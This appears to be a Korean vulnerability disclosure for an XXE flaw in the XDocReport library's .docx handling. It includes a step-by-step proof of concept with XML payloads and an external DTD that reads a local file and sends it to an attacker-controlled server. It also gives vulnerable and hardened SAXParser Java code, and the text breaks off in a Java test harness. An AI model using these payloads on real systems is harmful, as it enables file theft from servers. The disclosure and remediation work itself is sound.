
CVE-2025-65482 (XXE)
XML 외부 엔터티 주입
취약점 개요
비즈니스 영향
인사 관리 웹사이트에서 사용자가 .docx 문서 파일을 시스템에 업로드할 수 있습니다. 처리 과정에서 애플리케이션은 fr.opensagres.xdocreport.document.docx 라이브러리를 사용하는데, 이 라이브러리는 사용자의 .docx 파일을 SAXParser로 전달할 때 XXE 취약점을 포함하고 있습니다.
fr.opensagres.xdocreport.template.docx — XDocReport (버전 =< 2.0.3)
원인: Apache POI 사용
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
즉, Apache POI가 깊숙이 위치한 모듈:
org.apache.poi.xwpf.converter.core
오류는 XDocReport(fr.opensagres.xdocreport.document.docx 모듈)가 Apache POI를 사용하여 .docx 파일을 읽고, POI는 Java 기본 SAXParser를 사용하는데 DTD 및 외부 엔터티 처리를 허용하는 기능을 비활성화하지 않기 때문에 발생합니다. → 이를 통해 공격자는 외부(SYSTEM "http://...") 또는 내부 파일(file:///...)을 가리키는 엔터티가 있는 DOCTYPE을 삽입할 수 있습니다 → XXE가 발생합니다.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
다음과 같은 outband 페이로드를 collabrator를 통해 전송하도록 편집:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130에 dtd 파일을 호스팅합니다. vcspentest.dtd 파일 내용은 다음과 같습니다:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
WSL 머신에서 외부 dtd를 로드하기 위해 .docx 파일 내 word/document.xml 파일을 다음과 같이 편집:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx로 만들고 서버에 업로드하여 처리D:/vcspentest.txt 파일 내용이 포함된 요청이 전송된 것을 확인코드 또는 XML 파서 구성 계층에서 DTD 및 외부 엔터티와 관련된 모든 기능을 비활성화해야 합니다.
다음 코드와 유사하게 수정
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);